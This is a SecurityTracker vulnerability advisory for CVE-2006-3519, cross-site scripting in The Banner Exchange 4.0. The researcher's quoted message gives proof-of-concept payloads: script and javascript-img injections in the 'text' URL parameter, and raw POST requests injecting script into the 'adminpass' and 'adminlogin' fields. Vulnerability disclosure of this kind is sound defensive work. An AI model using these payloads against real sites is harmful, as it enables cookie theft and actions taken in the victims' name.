the banner exchange (tbe) Input Validation Hole Permits Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1016432
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SecurityTracker URL: http://securitytracker.com/id?1016432
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CVE Reference: CVE-2006-3519
(Links to External Site)
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Updated: Aug 12 2008
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Original Entry Date: Jul 4 2006
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Version(s): 4.0
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Description: A vulnerability was reported in the banner exchange (tbe). A remote user can conduct cross-site scripting attacks.
The 'top.php' script does not properly filter HTML code from user-supplied input in the 'text' field before displaying the input.
A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be
executed by the target user's browser. The code will originate from the site running the the banner exchange (tbe) software and
will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including
authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the
site, or take actions on the site acting as the target user.
HTTP POST requests are also affected.
Ellipsis Security reported
this vulnerability.
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
the banner exchange (tbe) software, access data recently submitted by the target user via web form to the site, or take actions
on the site acting as the target user.
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Solution: No solution was available at the time of this entry.
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Cause: Input validation error
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Reported By: securityconnection@gmail.com
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Message History:
None.
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Source Message Contents
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Date: 3 Jul 2006 18:58:20 -0000
From: securityconnection@gmail.com
Subject: TBE 4.0 XSS
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The Banner Engine - tbe4.0
Native Solutions
--------------------------
Cross Site Scripting (XSS)
--------------------------
http://target.xx/top.php?action=search&catid=catid&text=%3Cscript%3Ealert(%22Ellipsis+Securit
y+Test%22)%3C/script%3E
http://target.xx/top.php?action=search&catid=catid&text=%3Cimg%20src=%22javascript:alert('Ell
ipsis+Security+Test');%22%3E
---
POST http://target.xx:80/signup.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
Content-Length: 127
adminpass="><script>alert(/Ellipsis+Security+Test/)</script>&adminlogin=1&
action=1&login=1&password=1&bid=1&bnumr=1
---
POST http://target.xx:80/signup.php HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
Content-Length: 127
adminpass=1&adminlogin="><script>alert(/Ellipsis+Security+Test/)</script>&
action=1&login=1&password=1&bid=1&bnumr=1
-----------------
Ellipsis Security
http://ellsec.org
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